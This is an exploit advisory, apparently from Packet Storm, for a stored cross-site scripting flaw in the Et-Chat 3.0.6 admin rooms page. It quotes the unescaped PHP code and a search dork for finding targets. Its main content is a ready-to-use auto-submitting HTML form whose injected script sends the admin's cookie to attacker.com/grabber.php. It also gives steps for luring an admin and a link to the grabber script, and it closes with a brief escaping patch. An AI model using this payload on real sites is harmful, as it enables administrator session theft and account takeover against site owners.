Et-Chat version 3.0.6 suffers from a cross site scripting vulnerability.
80e1a4d6b660f8125854153118580e5f380c83819f4170fcf51420d028dfeb57# Exploit Title: Et-Chat 3.0.6 Cross Site Scripting Vulnerability
# Google Dork: "ET-Chat v3.0.6"
# Date: 2015-03-20
# Exploit Author: IranHack Security Team
# Tested on: Windows 7
# Vendor : Www.Et-chat.Ir
# Our Website : Www.IranHack.Org
***************************************************
Vulnerable code :
Location : /etchat/class/admin/AdminRoomsIndex.class.php
Code :
if (is_array($feld)){
$print_room_list = "<table>";
foreach($feld as $datasets){
if ($datasets[0]!=1)
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td> </td><td><a href=\"./?AdminDeleteRoom&id=".$datasets[0]."&cs4rue=".$_SESSION['etchat_'.$this->_prefix.'CheckSum4RegUserEdit']."\">".$lang->delete[0]->tagData."</a></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td> <i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";
else
$print_room_list.= "<tr><td><b>".$datasets[1]."</b></td><td> </td><td style=\"color: #888888;\"><strike>".$lang->delete[0]->tagData."</strike></td><td><a href=\"./?AdminEditRoom&id=".$datasets[0]."\">".$lang->rename[0]->tagData."</a></td><td> <i>".$lang->room_priv[$datasets[2]]->tagData."</i></td></tr>";
}
$print_room_list.= "</table>";
}
***************************************************
Description :
This vulnerability allows attacker to grab admin cookie and login with admin account :)
The reason of this vulnerability is that values of the room list ( ".$datasets[1]." ) is not filtered and
allows attacker to run javascript code.
***************************************************
Exploit :
1- Upload this page in a host or Set this code in a html page :
<html>
<body>
<form name="exploit" action="http://target.com/etchat/?AdminCreateNewRoom"
method="POST">
<input type="hidden" name="room"
value="<script>location.href="http://attacker.com/grabber.php?cookie="+escape(document.cookie)</script>
" />
<script>document.exploit.submit(); </script>
</form>
</body>
</html>
2- Give the uploaded html page address to admin.
3- after opening this page by admin , cookies are logged in Log.txt :)
***************************************************
grabber.php : http://up.iranhack.org/uploads/lquswjwo06vrxz1fe4oo.zip
***************************************************
Patch :
If u wanna patch this bug , go to file " /etchat/class/admin/AdminRoomsIndex.class.php "
Replace this codes : ".$datasets[1]."
With this code : ".htmlspecialchars($datasets[1])."
***************************************************
Greetz :
Mr.XpR , V30Sharp , AL1R3Z4 , Secret.Walker , Irblackhat , FarbodEZRaeL , black-sec , Mr.X2 , @3is , IR4N0nY , , 0x8F , Amirio , 3cure , FTA_Boy , Mr.FixXxer
./Moji.Rider
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed